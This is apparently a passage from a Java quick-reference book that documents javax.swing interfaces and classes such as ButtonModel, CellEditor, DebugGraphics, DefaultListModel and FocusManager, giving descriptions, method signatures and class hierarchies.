public abstract interface ButtonModel extends java.awt.ItemSelectable {
// | Event Registration Methods (by event name)
 | public abstract void addActionListener (java.awt.event.ActionListener l);
 | public abstract void removeActionListener (java.awt.event.ActionListener l);
 | public abstract void addChangeListener (javax.swing.event.ChangeListener l);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener l);
 | public abstract void addItemListener (java.awt.event.ItemListener l);
 | public abstract void removeItemListener (java.awt.event.ItemListener l);
// | Property Accessor Methods (by property name)
 | public abstract String getActionCommand ();
 | public abstract void setActionCommand (String s);
 | public abstract boolean isArmed ();
 | public abstract void setArmed (boolean b);
 | public abstract boolean isEnabled ();
 | public abstract void setEnabled (boolean b);
 | public abstract int getMnemonic ();
 | public abstract void setMnemonic (int key);
 | public abstract boolean isPressed ();
 | public abstract void setPressed (boolean b);
 | public abstract boolean isRollover ();
 | public abstract void setRollover (boolean b);
 | public abstract boolean isSelected ();
 | public abstract void setSelected (boolean b);
// | Public Instance Methods
 | public abstract void setGroup (ButtonGroup group);
}

Hierarchy: (ButtonModel(java.awt.ItemSelectable))

Implementations: DefaultButtonModel

Passed To: AbstractButton.setModel(), ButtonGroup.{isSelected(), setSelected()}, JMenu.setModel()

Returned By: AbstractButton.getModel(), ButtonGroup.getSelection()

Type Of: AbstractButton.model

CellEditor Java 1.2
javax.swing

This interface defines general methods that must be implemented by any cell editor object. isCellEditable() should return true if the cell is editable and if the specified event is an appropriate event to trigger an edit. (For example, some programs might require a double-click to edit a cell.) shouldSelectCell() should return true if the given event should cause the cell to become selected or false otherwise. However, this is only a minor secondary purpose of the method. Despite its name, the primary purpose of shouldSelectCell() is to cause the cell editor to begin editing the cell. The editor can use the specified event to set the initial state (e.g., cursor position) of the editor.

getCellEditorValue() returns the value being edited. cancelCellEditing() cancels an edit. stopCellEditing() instructs the editor to stop editing and accept a partially edited value. An editor may return false if it cannot accept the current value (because the partial value is not valid, for example). If the editor stops or cancels editing itself, it sends a javax.swing.event.ChangeEvent to any registered javax.swing.event.CellEditorListener objects.

javax.swing.table.TableCellEditor and javax.swing.tree.TreeCellEditor are table- and tree-specific cell editor interfaces; DefaultCellEditor is an implementation of both those interfaces.

public abstract interface CellEditor {
// | Event Registration Methods (by event name)
 | public abstract void addCellEditorListener (javax.swing.event.CellEditorListener l);
 | public abstract void removeCellEditorListener (javax.swing.event.CellEditorListener l);
// | Public Instance Methods
 | public abstract void cancelCellEditing ();
 | public abstract Object getCellEditorValue ();
 | public abstract boolean isCellEditable (java.util.EventObject anEvent);
 | public abstract boolean shouldSelectCell (java.util.EventObject anEvent);
 | public abstract boolean stopCellEditing ();
}

Implementations: javax.swing.table.TableCellEditor, javax.swing.tree.TreeCellEditor

CellRendererPane | Java 1.2
javax.swing | serializable accessible swing component

This class is used by Swing components that rely on cell renderer interfaces, such as ListCellRenderer, javax.swing.table.TableCellRenderer, and javax.swing.tree.TreeCellRenderer. The methods of this class are used to paint a single cell renderer component at various specified locations within a container.

public class CellRendererPane extends Container implements Accessible {
// | Public Constructors
 | public CellRendererPane (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleCellRendererPane
// | Public Instance Methods
 | public void paintComponent (java.awt.Graphics g, Component c, Container p, java.awt.Rectangle r); |
 | public void paintComponent (java.awt.Graphics g, Component c, Container p, int x, int y, int w, int h); |
 | public void paintComponent (java.awt.Graphics g, Component c, Container p, int x, int y, int w, int h, boolean shouldValidate); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleCellRendererPane
// | Public Methods Overriding Container
 | public void invalidate (); | empty
 | public void paint (java.awt.Graphics g); | empty
 | public void update (java.awt.Graphics g); | empty
// | Protected Methods Overriding Container
 | protected void addImpl (Component x, Object constraints, int index); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->CellRendererPane(Accessible)

ComboBoxEditor Java 1.2
javax.swing

This interface defines the methods that must be implemented by an object that wishes to serve as the editor object for a JComboBox component. It is typically implemented as part of a pluggable look-and-feel and is not normally used by application programmers.

public abstract interface ComboBoxEditor {
// | Event Registration Methods (by event name)
 | public abstract void addActionListener (java.awt.event.ActionListener l);
 | public abstract void removeActionListener (java.awt.event.ActionListener l);
// | Public Instance Methods
 | public abstract Component getEditorComponent ();
 | public abstract Object getItem ();
 | public abstract void selectAll ();
 | public abstract void setItem (Object anObject);
}

Passed To: JComboBox.{configureEditor(), setEditor()}

Returned By: JComboBox.getEditor()

Type Of: JComboBox.editor

ComboBoxModel | Java 1.2
javax.swing | model

This interface defines the basic model used by the JComboBox component. The JComboBox allows the user to select a value from a list or type a value directly. Therefore, ComboBoxModel extends ListModel to add support for a selected item, in addition to the list of items that ListModel already supports. See also MutableComboBoxModel and DefaultComboBoxModel.

public abstract interface ComboBoxModel extends ListModel {
// | Public Instance Methods
 | public abstract Object getSelectedItem ();
 | public abstract void setSelectedItem (Object anItem);
}

Hierarchy: (ComboBoxModel(ListModel))

Implementations: MutableComboBoxModel

Passed To: JComboBox.{JComboBox(), setModel()}, JComboBox.KeySelectionManager.selectionForKey()

Returned By: JComboBox.getModel()

Type Of: JComboBox.dataModel

DebugGraphics Java 1.2
javax.swing

This subclass of java.awt.Graphics reimplements most of the methods of its superclass to facilitate debugging of drawing operations. Instances of this class are rarely used directly; programs can enable graphics debugging by calling setDebugGraphicsOptions() on any Swing component.

public class DebugGraphics extends java.awt.Graphics {
// | Public Constructors
 | public DebugGraphics (); |
 | public DebugGraphics (java.awt.Graphics graphics); |
 | public DebugGraphics (java.awt.Graphics graphics, JComponent component); |
// | Public Constants
 | public static final int BUFFERED_OPTION ; | =4
 | public static final int FLASH_OPTION ; | =2
 | public static final int LOG_OPTION ; | =1
 | public static final int NONE_OPTION ; | =-1
// | Public Class Methods
 | public static java.awt.Color flashColor (); |
 | public static int flashCount (); |
 | public static int flashTime (); |
 | public static java.io.PrintStream logStream (); |
 | public static void setFlashColor (java.awt.Color flashColor); |
 | public static void setFlashCount (int flashCount); |
 | public static void setFlashTime (int flashTime); |
 | public static void setLogStream (java.io.PrintStream stream); |
// | Property Accessor Methods (by property name)
 | public java.awt.Shape getClip (); | Overrides:Graphics
 | public void setClip (java.awt.Shape clip); | Overrides:Graphics
 | public void setClip (int x, int y, int width, int height); | Overrides:Graphics
 | public java.awt.Rectangle getClipBounds (); | Overrides:Graphics
 | public java.awt.Color getColor (); | Overrides:Graphics
 | public void setColor (java.awt.Color aColor); | Overrides:Graphics
 | public int getDebugOptions (); | default:0
 | public void setDebugOptions (int options); |
 | public boolean isDrawingBuffer (); | default:false
 | public java.awt.Font getFont (); | Overrides:Graphics
 | public void setFont (java.awt.Font aFont); | Overrides:Graphics
 | public java.awt.FontMetrics getFontMetrics (); | Overrides:Graphics
 | public java.awt.FontMetrics getFontMetrics (java.awt.Font f); | Overrides:Graphics
// | Public Methods Overriding Graphics
 | public void clearRect (int x, int y, int width, int height); |
 | public void clipRect (int x, int y, int width, int height); |
 | public void copyArea (int x, int y, int width, int height, int destX, int destY); |
 | public java.awt.Graphics create (); |
 | public java.awt.Graphics create (int x, int y, int width, int height); |
 | public void dispose (); |
 | public void draw3DRect (int x, int y, int width, int height, boolean raised); |
 | public void drawArc (int x, int y, int width, int height, int startAngle, int arcAngle); |
 | public void drawBytes (byte[ ] data, int offset, int length, int x, int y); |
 | public void drawChars (char[ ] data, int offset, int length, int x, int y); |
 | public boolean drawImage (java.awt.Image img, int x, int y, java.awt.image.ImageObserver observer); |
 | public boolean drawImage (java.awt.Image img, int x, int y, java.awt.Color bgcolor, java.awt.image.ImageObserver observer); |
 | public boolean drawImage (java.awt.Image img, int x, int y, int width, int height, java.awt.image.ImageObserver observer); |
 | public boolean drawImage (java.awt.Image img, int x, int y, int width, int height, java.awt.Color bgcolor, java.awt.image.ImageObserver observer); |
 | public boolean drawImage (java.awt.Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, java.awt.image.ImageObserver observer); |
 | public boolean drawImage (java.awt.Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, java.awt.Color bgcolor, java.awt.image.ImageObserver observer); |
 | public void drawLine (int x1, int y1, int x2, int y2); |
 | public void drawOval (int x, int y, int width, int height); |
 | public void drawPolygon (int[ ] xPoints, int[ ] yPoints, int nPoints); |
 | public void drawPolyline (int[ ] xPoints, int[ ] yPoints, int nPoints); |
 | public void drawRect (int x, int y, int width, int height); |
 | public void drawRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight); |
 | public void drawString (java.text.AttributedCharacterIterator iterator, int x, int y); |
 | public void drawString (String aString, int x, int y); |
 | public void fill3DRect (int x, int y, int width, int height, boolean raised); |
 | public void fillArc (int x, int y, int width, int height, int startAngle, int arcAngle); |
 | public void fillOval (int x, int y, int width, int height); |
 | public void fillPolygon (int[ ] xPoints, int[ ] yPoints, int nPoints); |
 | public void fillRect (int x, int y, int width, int height); |
 | public void fillRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight); |
 | public void setPaintMode (); |
 | public void setXORMode (java.awt.Color aColor); |
 | public void translate (int x, int y); |
}

Hierarchy: Object-->java.awt.Graphics-->DebugGraphics

DefaultBoundedRangeModel | Java 1.2
javax.swing | serializable model

This class is an implementation of the BoundedRangeModel appropriate for most uses. See BoundedRangeModel for details.

public class DefaultBoundedRangeModel implements BoundedRangeModel, Serializable {
// | Public Constructors
 | public DefaultBoundedRangeModel (); |
 | public DefaultBoundedRangeModel (int value, int extent, int min, int max); |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:BoundedRangeModel
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:BoundedRangeModel
// | Methods Implementing BoundedRangeModel
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public int getExtent (); | default:0
 | public int getMaximum (); | default:100
 | public int getMinimum (); | default:0
 | public int getValue (); | default:0
 | public boolean getValueIsAdjusting (); | default:false
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void setExtent (int n); |
 | public void setMaximum (int n); |
 | public void setMinimum (int n); |
 | public void setRangeProperties (int newValue, int newExtent, int newMin, int newMax, boolean adjusting); |
 | public void setValue (int n); |
 | public void setValueIsAdjusting (boolean b); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->DefaultBoundedRangeModel(BoundedRangeModel,Serializable)

DefaultButtonModel | Java 1.2
javax.swing | serializable model

This class is a straightforward implementation of the ButtonModel interface that is suitable for most uses. It is the default model for JButton and JMenuItem.

public class DefaultButtonModel implements ButtonModel, Serializable {
// | Public Constructors
 | public DefaultButtonModel (); |
// | Public Constants
 | public static final int ARMED ; | =1
 | public static final int ENABLED ; | =8
 | public static final int PRESSED ; | =4
 | public static final int ROLLOVER ; | =16
 | public static final int SELECTED ; | =2
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener l); | Implements:ButtonModel
 | public void removeActionListener (java.awt.event.ActionListener l); | Implements:ButtonModel
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:ButtonModel
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:ButtonModel
 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ButtonModel
 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ButtonModel
// | Methods Implementing ButtonModel
 | public void addActionListener (java.awt.event.ActionListener l); |
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void addItemListener (java.awt.event.ItemListener l); |
 | public String getActionCommand (); | default:null
 | public int getMnemonic (); | default:0
 | public boolean isArmed (); | default:false
 | public boolean isEnabled (); | default:true
 | public boolean isPressed (); | default:false
 | public boolean isRollover (); | default:false
 | public boolean isSelected (); | default:false
 | public void removeActionListener (java.awt.event.ActionListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeItemListener (java.awt.event.ItemListener l); |
 | public void setActionCommand (String actionCommand); |
 | public void setArmed (boolean b); |
 | public void setEnabled (boolean b); |
 | public void setGroup (ButtonGroup group); |
 | public void setMnemonic (int key); |
 | public void setPressed (boolean b); |
 | public void setRollover (boolean b); |
 | public void setSelected (boolean b); |
// | Methods Implementing ItemSelectable
 | public Object[ ] getSelectedObjects (); | constant default:null
// | Protected Instance Methods
 | protected void fireActionPerformed (java.awt.event.ActionEvent e); |
 | protected void fireItemStateChanged (java.awt.event.ItemEvent e); |
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected String actionCommand ; |
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected ButtonGroup group ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
 | protected int mnemonic ; |
 | protected int stateMask ; |
}

Hierarchy: Object-->DefaultButtonModel(ButtonModel(java.awt.ItemSelectable),Serializable)

Subclasses: JToggleButton.ToggleButtonModel

DefaultCellEditor | Java 1.2
javax.swing | serializable

This class implements both the javax.swing.table.TableCellEditor and the javax.swing.tree.TreeCellEditor interfaces. It is the default editor class used by JTable. Instances of this class can be created to use a specified JTextField, JCheckBox, or JComboBox as the editor component.

public class DefaultCellEditor implements Serializable, javax.swing.table.TableCellEditor, javax.swing.tree.TreeCellEditor {
// | Public Constructors
 | public DefaultCellEditor (JComboBox comboBox); |
 | public DefaultCellEditor (JTextField textField); |
 | public DefaultCellEditor (JCheckBox checkBox); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addCellEditorListener (javax.swing.event.CellEditorListener l); | Implements:CellEditor
 | public void removeCellEditorListener (javax.swing.event.CellEditorListener l); | Implements:CellEditor
// | Public Instance Methods
 | public int getClickCountToStart (); |
 | public Component getComponent (); |
 | public void setClickCountToStart (int count); |
// | Methods Implementing CellEditor
 | public void addCellEditorListener (javax.swing.event.CellEditorListener l); |
 | public void cancelCellEditing (); |
 | public Object getCellEditorValue (); |
 | public boolean isCellEditable (java.util.EventObject anEvent); |
 | public void removeCellEditorListener (javax.swing.event.CellEditorListener l); |
 | public boolean shouldSelectCell (java.util.EventObject anEvent); |
 | public boolean stopCellEditing (); |
// | Methods Implementing TableCellEditor
 | public Component getTableCellEditorComponent (JTable table, Object value, boolean isSelected, int row, int column); |
// | Methods Implementing TreeCellEditor
 | public Component getTreeCellEditorComponent (JTree tree, Object value, boolean isSelected, boolean expanded, boolean leaf, int row); |
// | Protected Instance Methods
 | protected void fireEditingCanceled (); |
 | protected void fireEditingStopped (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected int clickCountToStart ; |
 | protected DefaultCellEditor.EditorDelegate delegate ; |
 | protected JComponent editorComponent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->DefaultCellEditor(Serializable,javax.swing.table.TableCellEditor(CellEditor),javax.swing.tree.TreeCellEditor(CellEditor))

DefaultCellEditor.EditorDelegate | Java 1.2
javax.swing | serializable

This DefaultCellEditor class can use a JTextField, JComboBox, or JCheckBox as the cell editor component. This protected inner class is used internally by DefaultCellEditor to encapsulate the differences between these three editor components. Application-level code never needs to use this class.

protected class DefaultCellEditor.EditorDelegate implements java.awt.event.ActionListener, java.awt.event.ItemListener, Serializable {
// | Protected Constructors
 | protected EditorDelegate (); |
// | Property Accessor Methods (by property name)
 | public Object getCellEditorValue (); | constant
// | Public Instance Methods
 | public void cancelCellEditing (); | empty
 | public boolean isCellEditable (java.util.EventObject anEvent); | constant
 | public void setValue (Object x); | empty
 | public boolean startCellEditing (java.util.EventObject anEvent); | constant
 | public boolean stopCellEditing (); | constant
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e); |
// | Methods Implementing ItemListener
 | public void itemStateChanged (java.awt.event.ItemEvent e); |
// | Protected Instance Fields
 | protected Object value ; |
}

Type Of: DefaultCellEditor.delegate

DefaultComboBoxModel | Java 1.2
javax.swing | serializable model

This MutableComboBoxModel implementation is the default model object used by the JComboBox component. In addition to the methods of the MutableComboBoxModel, ComboBoxModel, and ListModel interfaces, DefaultComboBoxModel also implements methods to remove all elements from the list and to find a specified element in the list.

public class DefaultComboBoxModel extends AbstractListModel implements MutableComboBoxModel, Serializable {
// | Public Constructors
 | public DefaultComboBoxModel (); |
 | public DefaultComboBoxModel (Object[ ] items); |
 | public DefaultComboBoxModel (java.util.Vector v); |
// | Public Instance Methods
 | public int getIndexOf (Object anObject); |
 | public void removeAllElements (); |
// | Methods Implementing ComboBoxModel
 | public Object getSelectedItem (); | default:null
 | public void setSelectedItem (Object anObject); |
// | Methods Implementing ListModel
 | public Object getElementAt (int index); |
 | public int getSize (); | default:0
// | Methods Implementing MutableComboBoxModel
 | public void addElement (Object anObject); |
 | public void insertElementAt (Object anObject, int index); |
 | public void removeElement (Object anObject); |
 | public void removeElementAt (int index); |
}

Hierarchy: Object-->AbstractListModel(ListModel,Serializable)-->DefaultComboBoxModel(MutableComboBoxModel(ComboBoxModel(ListModel)),Serializable)

DefaultDesktopManager | Java 1.2
javax.swing | serializable

This class is a simple default implementation of the DesktopManager interface. It can be used as a starting point for pluggable look-and-feel DesktopManager implementations. It is also used to manage JInternalFrame components that are not within a JDesktopPane. Appliations typically do not need to use this class.

public class DefaultDesktopManager implements DesktopManager, Serializable {
// | Public Constructors
 | public DefaultDesktopManager ();
// | Methods Implementing DesktopManager
 | public void activateFrame (JInternalFrame f);
 | public void beginDraggingFrame (JComponent f);
 | public void beginResizingFrame (JComponent f, int direction);
 | public void closeFrame (JInternalFrame f);
 | public void deactivateFrame (JInternalFrame f);
 | public void deiconifyFrame (JInternalFrame f);
 | public void dragFrame (JComponent f, int newX, int newY);
 | public void endDraggingFrame (JComponent f);
 | public void endResizingFrame (JComponent f);
 | public void iconifyFrame (JInternalFrame f);
 | public void maximizeFrame (JInternalFrame f);
 | public void minimizeFrame (JInternalFrame f);
 | public void openFrame (JInternalFrame f);
 | public void resizeFrame (JComponent f, int newX, int newY, int newWidth, int newHeight);
 | public void setBoundsForFrame (JComponent f, int newX, int newY, int newWidth, int newHeight);
// | Protected Instance Methods
 | protected java.awt.Rectangle getBoundsForIconOf (JInternalFrame f);
 | protected java.awt.Rectangle getPreviousBounds (JInternalFrame f);
 | protected void removeIconFor (JInternalFrame f);
 | protected void setPreviousBounds (JInternalFrame f, java.awt.Rectangle r);
 | protected void setWasIcon (JInternalFrame f, Boolean value);
 | protected boolean wasIcon (JInternalFrame f);
}

Hierarchy: Object-->DefaultDesktopManager(DesktopManager,Serializable)

DefaultFocusManager Java 1.2
javax.swing

This class is the default FocusManager used by Swing components. It uses the Tab and Shift-Tab keys to move focus forward and backward.

public class DefaultFocusManager extends FocusManager {
// | Public Constructors
 | public DefaultFocusManager ();
// | Public Instance Methods
 | public boolean compareTabOrder (Component a, Component b);
 | public Component getComponentAfter (Container aContainer, Component aComponent);
 | public Component getComponentBefore (Container aContainer, Component aComponent);
 | public Component getFirstComponent (Container aContainer);
 | public Component getLastComponent (Container aContainer);
// | Public Methods Overriding FocusManager
 | public void focusNextComponent (Component aComponent);
 | public void focusPreviousComponent (Component aComponent);
 | public void processKeyEvent (Component focusedComponent, java.awt.event.KeyEvent anEvent);
}

Hierarchy: Object-->FocusManager-->DefaultFocusManager

DefaultListCellRenderer | Java 1.2
javax.swing | serializable accessible swing component

This class is the default ListCellRenderer used by the JList component to render the items of the list. This class extends JLabel and uses JLabel features to render list items. Since JList uses this class by default, you should not have to instantiate or use it directly.

public class DefaultListCellRenderer extends JLabel implements ListCellRenderer, Serializable {
// | Public Constructors
 | public DefaultListCellRenderer ();
// | Inner Classes
 | ;
// | Methods Implementing ListCellRenderer
 | public Component getListCellRendererComponent (JList list, Object value, int index, boolean isSelected, boolean cellHasFocus);
// | Protected Class Fields
 | protected static javax.swing.border.Border noFocusBorder ;
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLabel(Accessible,SwingConstants)-->DefaultListCellRenderer(ListCellRenderer,Serializable)

Subclasses: DefaultListCellRenderer.UIResource

DefaultListCellRenderer.UIResource | Java 1.2
javax.swing | serializable accessible swing component

This class is a trivial wrapper around DefaultListCellRenderer. It implements the empty javax.swing.plaf.UIResource marker interface in order to distinguish cell renderers supplied by a look-and-feel from cell renderers supplied by the user. Like all classes that implement UIResource, this class is used by implementors of custom look-and-feels. Applications do not need to use this class.

public static class DefaultListCellRenderer.UIResource extends DefaultListCellRenderer implements javax.swing.plaf.UIResource {
// | Public Constructors
 | public UIResource ();
}
DefaultListModel | Java 1.2
javax.swing | serializable model

This class is a ListModel implementation that is based on AbstractListModel, with the addition of java.util.Vector methods for modifying the values contained in the list. This class is suitable for most uses of the JList component, but you may on occasion want to implement a custom ListModel, probably by subclassing AbstractListModel.

public class DefaultListModel extends AbstractListModel {
// | Public Constructors
 | public DefaultListModel (); |
// | Property Accessor Methods (by property name)
 | public boolean isEmpty (); | default:true
 | public int getSize (); | Overrides:AbstractListModel default:0
 | public void setSize (int newSize); |
// | Public Instance Methods
 | public void add (int index, Object element); |
 | public void addElement (Object obj); |
 | public int capacity (); |
 | public void clear (); |
 | public boolean contains (Object elem); |
 | public void copyInto (Object[ ] anArray); |
 | public Object elementAt (int index); |
 | public java.util.Enumeration elements (); |
 | public void ensureCapacity (int minCapacity); |
 | public Object firstElement (); |
 | public Object get (int index); |
 | public int indexOf (Object elem); |
 | public int indexOf (Object elem, int index); |
 | public void insertElementAt (Object obj, int index); |
 | public Object lastElement (); |
 | public int lastIndexOf (Object elem); |
 | public int lastIndexOf (Object elem, int index); |
 | public Object remove (int index); |
 | public void removeAllElements (); |
 | public boolean removeElement (Object obj); |
 | public void removeElementAt (int index); |
 | public void removeRange (int fromIndex, int toIndex); |
 | public Object set (int index, Object element); |
 | public void setElementAt (Object obj, int index); |
 | public int size (); |
 | public Object[ ] toArray (); |
 | public void trimToSize (); |
// | Public Methods Overriding AbstractListModel
 | public Object getElementAt (int index); |
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->AbstractListModel(ListModel,Serializable)-->DefaultListModel

DefaultListSelectionModel | Java 1.2
javax.swing | cloneable serializable model

This class is the default implementation of the ListSelectionModel interface. It is used by JList and JTable components. Typical applications do not need to explicitly use this class or the ListSelectionModel interface.

public class DefaultListSelectionModel implements Cloneable, ListSelectionModel, Serializable {
// | Public Constructors
 | public DefaultListSelectionModel (); |
// | Event Registration Methods (by event name)
 | public void addListSelectionListener (javax.swing.event.ListSelectionListener l); | Implements:ListSelectionModel
 | public void removeListSelectionListener (javax.swing.event.ListSelectionListener l); | Implements:ListSelectionModel
// | Public Instance Methods
 | public boolean isLeadAnchorNotificationEnabled (); | default:true
 | public void setLeadAnchorNotificationEnabled (boolean flag); |
// | Methods Implementing ListSelectionModel
 | public void addListSelectionListener (javax.swing.event.ListSelectionListener l); |
 | public void addSelectionInterval (int index0, int index1); |
 | public void clearSelection (); |
 | public int getAnchorSelectionIndex (); | default:-1
 | public int getLeadSelectionIndex (); | default:-1
 | public int getMaxSelectionIndex (); | default:-1
 | public int getMinSelectionIndex (); | default:-1
 | public int getSelectionMode (); | default:2
 | public boolean getValueIsAdjusting (); | default:false
 | public void insertIndexInterval (int index, int length, boolean before); |
 | public boolean isSelectedIndex (int index); |
 | public boolean isSelectionEmpty (); | default:true
 | public void removeIndexInterval (int index0, int index1); |
 | public void removeListSelectionListener (javax.swing.event.ListSelectionListener l); |
 | public void removeSelectionInterval (int index0, int index1); |
 | public void setAnchorSelectionIndex (int anchorIndex); |
 | public void setLeadSelectionIndex (int leadIndex); |
 | public void setSelectionInterval (int index0, int index1); |
 | public void setSelectionMode (int selectionMode); |
 | public void setValueIsAdjusting (boolean isAdjusting); |
// | Public Methods Overriding Object
 | public Object clone () throws CloneNotSupportedException; |
 | public String toString (); |
// | Protected Instance Methods
 | protected void fireValueChanged (boolean isAdjusting); |
 | protected void fireValueChanged (int firstIndex, int lastIndex); |
 | protected void fireValueChanged (int firstIndex, int lastIndex, boolean isAdjusting); |
// | Protected Instance Fields
 | protected boolean leadAnchorNotificationEnabled ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->DefaultListSelectionModel(Cloneable,ListSelectionModel,Serializable)

Type Of: javax.swing.tree.DefaultTreeSelectionModel.listSelectionModel

DefaultSingleSelectionModel | Java 1.2
javax.swing | serializable model

This class is the default implementation of the SingleSelectionModel interface. It is used by JMenuBar, JPopupMenu, and JTabbedPane.

public class DefaultSingleSelectionModel implements Serializable, SingleSelectionModel {
// | Public Constructors
 | public DefaultSingleSelectionModel (); |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:SingleSelectionModel
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:SingleSelectionModel
// | Methods Implementing SingleSelectionModel
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void clearSelection (); |
 | public int getSelectedIndex (); | default:-1
 | public boolean isSelected (); | default:false
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void setSelectedIndex (int index); |
// | Protected Instance Methods
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->DefaultSingleSelectionModel(Serializable,SingleSelectionModel)

DesktopManager Java 1.2
javax.swing

This interface defines the methods that must be defined by a pluggable look-and-feel to manage JInternalFrame windows within a JDesktopPane container. Application programmers do not need to use this class.

public abstract interface DesktopManager {
// | Public Instance Methods
 | public abstract void activateFrame (JInternalFrame f);
 | public abstract void beginDraggingFrame (JComponent f);
 | public abstract void beginResizingFrame (JComponent f, int direction);
 | public abstract void closeFrame (JInternalFrame f);
 | public abstract void deactivateFrame (JInternalFrame f);
 | public abstract void deiconifyFrame (JInternalFrame f);
 | public abstract void dragFrame (JComponent f, int newX, int newY);
 | public abstract void endDraggingFrame (JComponent f);
 | public abstract void endResizingFrame (JComponent f);
 | public abstract void iconifyFrame (JInternalFrame f);
 | public abstract void maximizeFrame (JInternalFrame f);
 | public abstract void minimizeFrame (JInternalFrame f);
 | public abstract void openFrame (JInternalFrame f);
 | public abstract void resizeFrame (JComponent f, int newX, int newY, int newWidth, int newHeight);
 | public abstract void setBoundsForFrame (JComponent f, int newX, int newY, int newWidth, int newHeight);
}

Implementations: DefaultDesktopManager

Passed To: JDesktopPane.setDesktopManager()

Returned By: JDesktopPane.getDesktopManager()

FocusManager Java 1.2
javax.swing

This abstract class defines three instance methods that must be implemented by an object that wants to manage keyboard focus for an application. It also defines static methods that manipulate the installed focus manager. Applications that mix AWT components with Swing components should call disableSwingFocusManager() to disable Swing's focus management and rely on the AWT focus manager. Call setCurrentManager() to replace the current focus manager with a custom manager of your own.

public abstract class FocusManager {
// | Public Constructors
 | public FocusManager (); |
// | Public Constants
 | public static final String FOCUS_MANAGER_CLASS_PROPERTY ; | ="FocusManagerClassName"
// | Public Class Methods
 | public static void disableSwingFocusManager (); |
 | public static FocusManager getCurrentManager (); |
 | public static boolean isFocusManagerEnabled (); |
 | public static void setCurrentManager (FocusManager aFocusManager); |
// | Public Instance Methods
 | public abstract void focusNextComponent (Component aComponent); |
 | public abstract void focusPreviousComponent (Component aComponent); |
 | public abstract void processKeyEvent (Component focusedComponent, java.awt.event.KeyEvent anEvent); |
}

Subclasses: DefaultFocusManager

Passed To: FocusManager.setCurrentManager()

Returned By: FocusManager.getCurrentManager()

GrayFilter | Java 1.2
javax.swing | cloneable

This class is a java.awt.image.ImageFilter that converts a color image to a grayscale image, suitable for use as an icon that represents a disabled action or an unavailable option. In addition to the usual ImageFilter methods, GrayFilter provides the static createDisabledImage() method, which is all that most applications ever need to use. The AbstractButton and JLabel classes use GrayFilter to automatically create a grayscale version of an image, if no disabled image is explicitly provided.

public class GrayFilter extends java.awt.image.RGBImageFilter {
// | Public Constructors
 | public GrayFilter (boolean b, int p);
// | Public Class Methods
 | public static java.awt.Image createDisabledImage (java.awt.Image i);
// | Public Methods Overriding RGBImageFilter
 | public int filterRGB (int x, int y, int rgb);
}

Hierarchy: Object-->java.awt.image.ImageFilter(Cloneable,java.awt.image.ImageConsumer)-->java.awt.image.RGBImageFilter-->GrayFilter

Icon Java 1.2
javax.swing

This interface defines the Swing notion of an icon: an object that knows how to draw a graphic of a fixed width and height at a fixed location. Icons are most commonly implemented with images; see ImageIcon.

public abstract interface Icon {
// | Public Instance Methods
 | public abstract int getIconHeight ();
 | public abstract int getIconWidth ();
 | public abstract void paintIcon (Component c, java.awt.Graphics g, int x, int y);
}

Implementations: ImageIcon, javax.swing.plaf.IconUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: JInternalFrame.frameIcon, JOptionPane.icon, javax.swing.border.MatteBorder.tileIcon, javax.swing.tree.DefaultTreeCellEditor.editingIcon, javax.swing.tree.DefaultTreeCellRenderer.{closedIcon, leafIcon, openIcon}

ImageIcon | Java 1.2
javax.swing | serializable

This class is an implementation of the Icon interface that uses an Image to draw the icon. The various constructors allow the image to be specified as an Image object, as a URL, as a file name, or as an array of binary data. Every ImageIcon can have a short textual description that may be used for accessibility (e.g., to describe the icon to a blind user).

public class ImageIcon implements Icon, Serializable {
// | Public Constructors
 | public ImageIcon (); |
 | public ImageIcon (java.awt.Image image); |
